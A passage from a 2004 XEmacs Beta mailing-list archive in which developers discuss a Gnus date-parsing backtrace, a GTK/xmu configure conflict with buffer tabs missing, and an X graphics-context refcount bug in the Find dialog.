gwyn.tux.org (8.11.6p2/8.9.1) id i3DK7Ab04777 for turnbull@tux.org; Tue, 13 Apr 2004 16:07:10 -0400 Received: from satana.stru.polimi.it (satana.stru.polimi.it [131.175.189.180]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DK78s04745 for ; Tue, 13 Apr 2004 16:07:08 -0400 Received: from satana (localhost [127.0.0.1]) by satana (Postfix) with SMTP id C116BADF6 for ; Tue, 13 Apr 2004 22:07:01 +0200 (CEST) Received: from boffi95 (boffi95.stru.polimi.it [131.175.189.141]) by satana.stru.polimi.it (Postfix) with ESMTP id 8BEB6AA3B for ; Tue, 13 Apr 2004 22:07:01 +0200 (CEST) Received: from boffi by boffi95 with local (Exim 3.36 #1 (Debian)) id 1BDU3P-00016Y-00 for ; Tue, 13 Apr 2004 21:58:43 +0200 From: giacomo boffi MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="Kv6YQhK40e" Content-Transfer-Encoding: 7bit Message-ID: <16508.18033.300529.923274@gargle.gargle.HOWL> Date: Tue, 13 Apr 2004 21:58:41 +0200 To: XEmacs Beta Subject: Re: [Bug: 21.5-b17] gnus + bignums(?) In-Reply-To: <874qrn7thh.fsf@tleepslib.sk.tsukuba.ac.jp> References: <16507.53344.754521.398763@gargle.gargle.HOWL> <874qrn7thh.fsf@tleepslib.sk.tsukuba.ac.jp> X-Mailer: VM 7.17 under 21.5 (beta17) "chayote" (+CVS-20040411) XEmacs Lucid Reply-To: giacomo.boffi@polimi.it X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --Kv6YQhK40e Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit Stephen J. Turnbull writes: > >>>>> "giacomo" == giacomo boffi writes: > > giacomo> failed, please see the attached backtrace > > I'm having trouble uudecoding it. afaict, VM converted to base64 the uuencoded file... using VM, i can read the backtrace: 1) i saved the attachment to file "backtrace.uue" 2) i uudecode'd the file 3) C-x f backtrace RET next try: i'm going to attach the file i seved the backtrace into, skipping the (unnecessary) uuencoding step --Kv6YQhK40e Content-Type: application/octet-stream Content-Description: backtrace Content-Disposition: attachment; filename="backtrace" Content-Transfer-Encoding: base64 U2lnbmFsaW5nOiAoZXJyb3IgIkludmFsaWQgZGF0ZTogVHVlLCAxMyBBcHIgMjAwNCAxMzoy MzoyOSArMDIwMCIpCiAgc2lnbmFsKGVycm9yICgiSW52YWxpZCBkYXRlOiBUdWUsIDEzIEFw ciAyMDA0IDEzOjIzOjI5ICswMjAwIikpCiAgY2Vycm9yKCJJbnZhbGlkIGRhdGU6ICVzIiAi VHVlLCAxMyBBcHIgMjAwNCAxMzoyMzoyOSArMDIwMCIpCiAgYXBwbHkoY2Vycm9yICJJbnZh bGlkIGRhdGU6ICVzIiAiVHVlLCAxMyBBcHIgMjAwNCAxMzoyMzoyOSArMDIwMCIpCiAgZXJy b3IoIkludmFsaWQgZGF0ZTogJXMiICJUdWUsIDEzIEFwciAyMDA0IDEzOjIzOjI5ICswMjAw IikKICBkYXRlLXRvLXRpbWUoIlR1ZSwgMTMgQXByIDIwMDQgMTM6MjM6MjkgKzAyMDAiKQog IGJ5dGUtY29kZSgiLi4uIiBbbm50cC1jb25uZWN0aW9uLWFsaXN0IHRpbWUgYWxpc3QgZW50 cnkgcHJvY2VzcyBidWZmZXIgZGF0ZS10by10aW1lIDggZGVjb2RlLXRpbWUgMCA2NTUzNiAi XlxcLg0/XG4iICJORVdHUk9VUFMiIGZvcm1hdC10aW1lLXN0cmluZyAiJXklbSVkICVIJU0l UyIgIkdNVCIgZXJhc2UtYnVmZmVyIG1hcGNvbmNhdCBpZGVudGl0eSAiICIgZ2V0LWJ1ZmZl ciBuaWwgcHJvY2Vzcy1zdGF0dXMgKG9wZW4gcnVuKSBubnRwLWtpbGwtYnVmZmVyIHByb2Nl c3MtYnVmZmVyIGRlbHEgbm50cC1vcGVuLWNvbm5lY3Rpb24gZXJyIChieXRlLWNvZGUgIg4q q6gNDiobHcYgFiwLFi0OLquExwshiMgNCw4vUFwiiMkNIcpzrITLzCGIKgjNYauCzocIq40M q4rPDQxcbgkIJYjOhwyDAAENDFxuCdAeJxkaHB2K0Q0hcYhlYohgZtJzq4XT1CGrpckNIdVz q57T1CGrhNYNIYjT1yGrh2DYeYhgfIjZDSGIZWKIqlDT2iGrhtsgiNCq4MkNIdxzrIXLzCGq 1GRiiGXQHigeKd0MDinOI6yQ2Q0hiGTeWmVdFilkYoiqaN/gIRYocg4wcYgOKBYxK+EJPyGI DiesmopcbnGIZGKI4tENISGIDiuriNAWK+Pk5VwiiCnODiesg+YgiC4Gh86HIiBbY2FsbGJh Y2sgZGVjb2RlIGJ1ZmZlciBzdHJpbmcgd2FpdC1mb3IgcHJvY2VzcyBjdXJyZW50LXRpbWUg bm50cC1yZWNvcmQtY29tbWFuZCBwcm9jZXNzLXNlbmQtc3RyaW5nIHByb2Nlc3Mtc3RhdHVz IC4uLiBubnRwLXJlcG9ydCAiU2VydmVyIGNsb3NlZCBjb25uZWN0aW9uIiBpZ25vcmUgdCBu bnRwLWFzeW5jLXdhaXQgbmlsIHByb2Nlc3MtYnVmZmVyIC4uLiBsb29raW5nLWF0ICI0ODAi IC4uLiBubnRwLWhhbmRsZS1hdXRoaW5mbyAiXi4qXG4iIDEgbm50cC1hY2NlcHQtcHJvY2Vz cy1vdXRwdXQgIls0NV0iIG5udHAtc25hcmYtZXJyb3ItbWVzc2FnZSAuLi4gcmUtc2VhcmNo LWJhY2t3YXJkIDEwMDAgbWF0Y2gtc3RyaW5nIDAgbm50cC1kZWNvZGUtdGV4dCBpbnNlcnQt YnVmZmVyLXN1YnN0cmluZyBubmhlYWRlci1tZXNzYWdlIDUgIiIgZXJhc2UtYnVmZmVyIGRp c2NhcmQgcmVzcG9uc2UgbGltaXQgY29tbWFuZCBubnRwLWhhdmUtbWVzc2FnZWQgbm50cC1s YXN0LWNvbW1hbmQtdGltZSBubnRwLWxhc3QtY29tbWFuZCBubnRwLXJlY29yZC1jb21tYW5k cyBubnRwLWVuZC1vZi1saW5lIG5udHAtc2VydmVyLWJ1ZmZlciBubnRwLXByb2Nlc3MtcmVz cG9uc2VdIDYpICgoZXJyb3IgLi4uKSAocXVpdCAuLi4pKSBubmhlYWRlci1yZXBvcnQgbm50 cCAiQ291bGRuJ3Qgb3BlbiBjb25uZWN0aW9uIHRvICVzIiBubnRwLW9wZW4tbmV0d29yay1z dHJlYW0gbm50cC1hY2NlcHQtcmVzcG9uc2UgbG9va2luZy1hdCByZWdleHAtcXVvdGUgMSBn bnVzLXBvaW50LWF0LWJvbCAiQ291bGRuJ3Qgb3BlbiBjb25uZWN0aW9uIHRvICVzLiIgbm50 cC1kZWNvZGUtdGV4dCBscyBubnRwLXNlcnZlci1idWZmZXIgd2FpdC1mb3IgY29tbWFuZCBu bmhlYWRlci1jYWxsYmFjay1mdW5jdGlvbiBwb3Mgc3RyaW5ncyBubnRwLWFkZHJlc3MgLi4u XSA5KQogIGJ5dGUtY29kZSgiLi4uIiBbbm50cC13aXRoLW9wZW4tZ3JvdXAtaW50ZXJuYWwg dGltZXIgc2VydmVyIG5udHAtY29ubmVjdGlvbi10aW1lb3V0IG5udHAtcG9zc2libHktY2hh bmdlLWdyb3VwIG5pbCBubmhlYWRlci1ydW4tYXQtdGltZSAobGFtYmRhIG5pbCAobGV0IC4u LiAuLi4pKSAoKGJ5dGUtY29kZSAiCKuEwQghiMGHIiAuLi4gMikpIChieXRlLWNvZGUgIooO K3GIxg4zIYkZQUDHyAkhOFqJHirJV6uQCYlAU6CICUEOKspcXKCIqpwOKspZq5AJiUBUoIgJ QQ4qylqgiKqGCUEOKqCIy8zNzglcIs9FHjAeLA4urI0ONKyJig4rcYjQIIgp0dIOMNMjHi0O Kx0IDTurhdQNIaqBDdWJGxwdGlxuq5hcbolBEkCJE6uPDQtBQGGrbQtAFNWJEqxoDK2W1gwh 13OrgwyqjNjZDCEhiNoLCFwiENUtiRytg9kMIYkdrYZyDXGIYCkeLwyDfwEOLQ4xDjUOKw4s Di7VHjYeNx4sHR44HjIeLQ0dCA07q4XUDSGqgQ3ViRscHRpcbquYXG6JQRJAiROrjw0LQUBh q20LQBTViRKsaAytltYMIddzq4MMqozY2QwhIYjaCwhcIhDVLa6D2w0hiRyrmA45rI4OLqyK itkMIXGI0CCIKdzd3o+qht/g4Q4yIy4IDiysqw464muspeMgiIoNcYgOL2KI5OUOLSEhq4kO L+Z5iOcgfIgpqobf4OgOMSMuBukgiCuHIiBbbm50cC1jb25uZWN0aW9uLWFsaXN0IHRpbWUg YWxpc3QgZW50cnkgcHJvY2VzcyBidWZmZXIgZGF0ZS10by10aW1lIDggZGVjb2RlLXRpbWUg MCA2NTUzNiAiXlxcLg0/XG4iICJORVdHUk9VUFMiIGZvcm1hdC10aW1lLXN0cmluZyAiJXkl bSVkICVIJU0lUyIgIkdNVCIgZXJhc2UtYnVmZmVyIG1hcGNvbmNhdCBpZGVudGl0eSAiICIg Z2V0LWJ1ZmZlciBuaWwgcHJvY2Vzcy1zdGF0dXMgLi4uIG5udHAta2lsbC1idWZmZXIgcHJv Y2Vzcy1idWZmZXIgZGVscSBubnRwLW9wZW4tY29ubmVjdGlvbiBlcnIgLi4uIC4uLiBubmhl YWRlci1yZXBvcnQgbm50cCAiQ291bGRuJ3Qgb3BlbiBjb25uZWN0aW9uIHRvICVzIiBubnRw LW9wZW4tbmV0d29yay1zdHJlYW0gbm50cC1hY2NlcHQtcmVzcG9uc2UgbG9va2luZy1hdCBy ZWdleHAtcXVvdGUgMSBnbnVzLXBvaW50LWF0LWJvbCAiQ291bGRuJ3Qgb3BlbiBjb25uZWN0 aW9uIHRvICVzLiIgbm50cC1kZWNvZGUtdGV4dCBscyBubnRwLXNlcnZlci1idWZmZXIgd2Fp dC1mb3IgY29tbWFuZCBubmhlYWRlci1jYWxsYmFjay1mdW5jdGlvbiBwb3Mgc3RyaW5ncyBu bnRwLWFkZHJlc3MgLi4uXSA5KSAoKHF1aXQgLi4uKSldIDQpCiAgbm50cC1yZXF1ZXN0LW5l d2dyb3VwcygiVHVlLCAxMyBBcHIgMjAwNCAxMzoyMzoyOSArMDIwMCIgIm5ld3NzZXJ2ZXIu Y2lsZWEuaXQiKQogIGdudXMtcmVxdWVzdC1uZXdncm91cHMoIlR1ZSwgMTMgQXByIDIwMDQg MTM6MjM6MjkgKzAyMDAiIChubnRwICJuZXdzc2VydmVyLmNpbGVhLml0IikpCiAgZ251cy1h c2stc2VydmVyLWZvci1uZXctZ3JvdXBzKCkKICBnbnVzLWZpbmQtbmV3LW5ld3Nncm91cHMo KQogIGdudXMtc2V0dXAtbmV3cyhuaWwgbmlsIG5pbCkKICBieXRlLWNvZGUoIi4uLiIgW2du dXMtc2xhdmUgZ251cy1jdXJyZW50LXN0YXJ0dXAtZmlsZSBnbnVzLXN0YXJ0dXAtZmlsZSBk aWQtY29ubmVjdCBsZXZlbCBkb250LWNvbm5lY3QgZ251cy1ncm91cC1xdWl0IGdudXMtcnVu LWhvb2tzIGdudXMtc3RhcnR1cC1ob29rIGdudXMtbWFrZS1uZXdzcmMtZmlsZSBnbnVzLWRy aWJibGUtcmVhZC1maWxlIGJiYi1sb2dpbiBhZGQtaG9vayBnbnVzLXN1bW1hcnktbW9kZS1o b29rIGdudXMtZ3JvdXBsZW5zLW1vZGUgZ251cy1yZXF1ZXN0LWNyZWF0ZS1ncm91cCAicXVl dWUiIChubmRyYWZ0ICIiKSAiZHJhZnRzIiAobm5kcmFmdCAiIikgZ251cy1zZXR1cC1uZXdz IG5pbCBnbnVzLXNldHVwLW5ld3MtaG9vayBnbnVzLXN0YXJ0LWRyYWZ0LXNldHVwIGdudXMt Z3JvdXAtbGlzdC1ncm91cHMgZ251cy1ncm91cC1maXJzdC11bnJlYWQtZ3JvdXAgZ251cy1j b25maWd1cmUtd2luZG93cyBncm91cCBnbnVzLWdyb3VwLXNldC1tb2RlLWxpbmUgZ251cy1z dGFydGVkLWhvb2sgZ251cy11c2UtZHJpYmJsZS1maWxlIGdudXMtdXNlLWdyb3VwbGVucyBn bnVzLWFnZW50XSA0KQogIGdudXMtMShuaWwgbmlsIG5pbCkKICBnbnVzKG5pbCkKICBjYWxs LWludGVyYWN0aXZlbHkoZ251cykKICBjb21tYW5kLWV4ZWN1dGUoZ251cyB0KQogIGV4ZWN1 dGUtZXh0ZW5kZWQtY29tbWFuZChuaWwpCiAgY2FsbC1pbnRlcmFjdGl2ZWx5KGV4ZWN1dGUt ZXh0ZW5kZWQtY29tbWFuZCkKICAoZGlzcGF0Y2gtZXZlbnQgIltpbnRlcm5hbF0iKQo= --Kv6YQhK40e-- From xemacs-beta-admin@xemacs.org Tue Apr 13 23:01:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3E316s06296; Tue, 13 Apr 2004 23:01:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3E306705095 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 23:00:06 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3E301c04994 for turnbull@tux.org; Tue, 13 Apr 2004 23:00:01 -0400 Received: from kcte.net (kcte.net [199.239.248.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3E300s04967 for ; Tue, 13 Apr 2004 23:00:00 -0400 Received: from frinabulax.org (68-69-36-139.mgtnwv.adelphia.net [68.69.36.139]) by kcte.net (8.12.11/8.12.11) with ESMTP id i3E2xuQv003146 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for ; Tue, 13 Apr 2004 22:59:57 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by frinabulax.org (8.12.11/8.12.11) with ESMTP id i3E2xpTi008397 for ; Tue, 13 Apr 2004 22:59:51 -0400 (EDT) Date: Tue, 13 Apr 2004 22:59:50 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: XEmacs Beta List Subject: Apparent configure ordering problem with GTK build Message-ID: Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.68-1, clamav-milter version 0.67a X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , To whomever is handling the GTK builds. I cannot install xmu (apparently) with GTK, and turning on the GTK build triggers a warning in configure configure: warning: --with-xmu ignored: Not valid without X support Using GTK. When running configure with the following parameters ./configure --with-x11 --with-mule --with-widgets=athena --with-athena=3d \ --with-dialogs=athena --error-checking=none --debug=no \ --package-path=${XEmacsPPath} \ --prefix=${ParentPath} --with-prefix \ "--cflags=-Os" --pdump --with-ldap=no \ --with-gtk --with-xmu --with-xim=no \ --with-sound=esd --with-xfs=no --dynamic=yes \ --use-number-lib=gmp The resulting XEmacs has not buffer tabs--which may be intended. Similar to the bignum support, there are Lisp_Object incompatibilities in glyphs-gtk.c where free_cons() expects a Lisp_Object as its only argument. -- Dr. Robert Delius Royar Associate Professor of English Morehead State University Morehead, Kentucky From xemacs-beta-admin@xemacs.org Wed Apr 14 00:12:17 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3E4C2s11412; Wed, 14 Apr 2004 00:12:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3E4Bbj11151 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 00:11:37 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3E4Baq11133 for turnbull@tux.org; Wed, 14 Apr 2004 00:11:36 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3E4BWs11095; Wed, 14 Apr 2004 00:11:33 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BDbkB-0001Ey-00; Wed, 14 Apr 2004 13:11:23 +0900 To: Jerry James Cc: Glynn Clements , XEmacs Beta Subject: Re: BadGC with Find dialog References: <16443.49074.972872.94915@cerise.nosuchdomain.co.uk> <16444.9701.204025.877317@cerise.nosuchdomain.co.uk> <871xohs1f6.fsf@tleepslib.sk.tsukuba.ac.jp> <16475.62978.504008.158381@cerise.nosuchdomain.co.uk> <16481.30402.516994.466013@cerise.nosuchdomain.co.uk> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 14 Apr 2004 13:11:22 +0900 In-Reply-To: (Jerry James's message of "Tue, 13 Apr 2004 14:51:50 -0500") Message-ID: <87ptab5hcl.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> Executive summary: The "Forward" button created by Jerry> make-search-dialog (line 87 of lisp/dialog-items.el in Jerry> current 21.5 CVS) feels like releasing its inverse_GC every Jerry> time it is redisplayed. Once it has been redisplayed a Jerry> sufficient number of times, the reference count on that GC Jerry> reaches zero and chaos ensues. I am willing to bet Jerry> doughnuts that the comment over x_button_redisplay in Jerry> src/glyphs-x.c has something to do with it. However, I do Jerry> not actually know the source of the problem at this time. Oh, I bet I do. XEmacs does its own GC caching because faces use lots of GCs. Xt is obviously also doing GC caching internally, so every time the state of the button changes, the Xt decrements its cache refcount for the GC that gets swapped out. XEmacs doesn't account for this, and so it does a simple assignment from its cache, which Xt can't see, rather than asking Xt for it. So Xt doesn't increment its refcount when XEmacs uses the GC. Why does this only cause problems for that dialog? I'm glad you asked. The reason is that lwlib doesn't know about faces, mostly. So the cache maintained by XEmacs's src/xgccache.c (maintained with XCreateGC and XFreeGC) and used for faces doesn't intersect with Xt's cache (maintained with XtGetGC and XtReleaseGC), used by lwlib's Athena stuff. I'm willing to bet that we're calling XtReleaseGC on some face's cached GC. I'm pretty busy the next few days though, so I'll post this guess for now. Jerry> Jerry "Brute Force" James, currently listening to Jerry> Supertramp's "Breakfast in America" Excellent! Nearly guarantees success, I should say. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 14 00:14:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3E4E1s12452; Wed, 14 Apr 2004 00:14:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3E4DU812160 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 00:13:30 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3E4DTv12145 for turnbull@tux.org; Wed, 14 Apr 2004 00:13:29 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3E4DSs12138 for ; Wed, 14 Apr 2004 00:13:29 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BDbm9-0001F3-00; Wed, 14 Apr 2004 13:13:25 +0900 To: Zajcev Evgeny Cc: XEmacs beta Subject: Re: Stdout chatter with test packages References: <87zn9g778p.fsf@tleepslib.sk.tsukuba.ac.jp> <827jwknva3.fsf@us.dmz.local> <878yh06r19.fsf@tleepslib.sk.tsukuba.ac.jp> <823c78njmq.fsf@us.dmz.local> <87zn9f6et1.fsf@tleepslib.sk.tsukuba.ac.jp> <82smf7g68p.fsf@us.dmz.local> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 14 Apr 2004 13:13:25 +0900 In-Reply-To: <82smf7g68p.fsf@us.dmz.local> (Zajcev Evgeny's message of "Tue, 13 Apr 2004 21:03:34 +0400") Message-ID: <87llkz5h96.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Zajcev" == Zajcev Evgeny writes: Zajcev> You register keys substitute table in it, like this. Does `keyboard-translate' do what you want? Maybe not because of the modifier issues. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 14 00:17:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3E4H1s14808; Wed, 14 Apr 2004 00:17:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3E4GIl14453 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 00:16:18 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3E4GHC14438 for turnbull@tux.org; Wed, 14 Apr 2004 00:16:17 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3E4GHs14429 for ; Wed, 14 Apr 2004 00:16:17 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BDboM-0001FP-00; Wed, 14 Apr 2004 13:15:42 +0900 To: giacomo.boffi@polimi.it Cc: XEmacs Beta Subject: Re: [Bug: 21.5-b17] gnus + bignums(?) References: <16507.53344.754521.398763@gargle.gargle.HOWL> <874qrn7thh.fsf@tleepslib.sk.tsukuba.ac.jp> <16508.18033.300529.923274@gargle.gargle.HOWL> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 14 Apr 2004 13:15:42 +0900 In-Reply-To: <16508.18033.300529.923274@gargle.gargle.HOWL> (giacomo boffi's message of "Tue, 13 Apr 2004 21:58:41 +0200") Message-ID: <87hdvn5h5d.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "giacomo" == giacomo boffi writes: giacomo> Stephen J. Turnbull writes: >> I'm having trouble uudecoding it. giacomo> afaict, VM converted to base64 the uuencoded giacomo> file... using VM, i can read the backtrace: How peculiar. OK, I had no trouble reading it this time. Jerry seems to have figured it out though, sorry for making you go to the trouble. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 14 06:18:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3EAI7s14806; Wed, 14 Apr 2004 06:18:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3EAHiY14626 for xemacs-beta-mailman@xemacs.org; Wed, 14 Apr 2004 06:17:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3EAHh014611 for turnbull@tux.org; Wed, 14 Apr 2004 06:17:43 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3EAHgs14597 for ; Wed, 14 Apr 2004 06:17:43 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BDhST-0003d8-00; Wed, 14 Apr 2004 19:17:29 +0900 To: robert delius royar Cc: XEmacs Beta List Subject: Re: Apparent configure ordering problem with GTK build References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 14 Apr 2004 19:17:27 +0900 In-Reply-To: (robert delius royar's message of "Tue, 13 Apr 2004 22:59:50 -0400 (EDT)") Message-ID: <87d66a6eyw.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "robert" == robert delius royar writes: robert> To whomever is handling the GTK builds. Nobody, at the moment. There are many people interested in receiving fixes, but the core person who did all the work for the initial port has been extremely busy for the last year or so, and nobody else has stepped in to provide leadership. There are one or two people who occasionally post patches, and a couple people who have worked on collecting bug reports, but with no coding support.... :-( There have been noises about updating the port to GTK+ 2.x, but I have not seen any code yet. robert> I cannot install xmu (apparently) with GTK Why would you want to do that? AFAICT making them incompatible is more or less deliberate; HAVE_X_WINDOWS is set to "no" when GTK+ and/or GNOME are enabled. HAVE_X_WINDOWS really means HAVE_X_TOOLKIT == Xt, AFAIK, and the various toolkits are not into peaceful coexistence. So if you have good reason to do it, we can put it on the stack, but otherwise it's one of those "you say that hurts? so stop it" things. robert> When running configure with the following parameters ./configure --with-x11 --with-mule --with-widgets=athena --with-athena=3d \ --with-dialogs=athena --error-checking=none --debug=no \ --package-path=${XEmacsPPath} \ --prefix=${ParentPath} --with-prefix \ "--cflags=-Os" --pdump --with-ldap=no \ --with-gtk --with-xmu --with-xim=no \ --with-sound=esd --with-xfs=no --dynamic=yes \ --use-number-lib=gmp robert> The resulting XEmacs has not buffer tabs--which may be intended. Yikes. OK, what is happening here is that GTK+ on the command line is configured before X11, and it simply assumes that you want GTK+ widgets, unless you explicitly say "no". I'll try to add some warnings here. I'm not sure why you don't get buffer tabs, that is definitely _not_ intended. Try ./configure --with-mule --error-checking=none --debug=no \ --package-path=${XEmacsPPath} \ --prefix=${ParentPath} --with-prefix \ "--cflags=-Os" --pdump --with-ldap=no \ --with-gtk \ --with-sound=esd --dynamic=yes \ --use-number-lib=gmp You may need to add --with-widgets=gtk, but I don't think so. robert> Similar to the bignum support, there are Lisp_Object robert> incompatibilities in glyphs-gtk.c where free_cons() robert> expects a Lisp_Object as its only argument. IIRC Jerry said that he didn't understand the GTK+ code well enough to fix up the error-checking code there, asked for volunteers, and got zero response. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 14 09:08:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ED86s13551; Wed, 14 Apr 2004 09:08:06 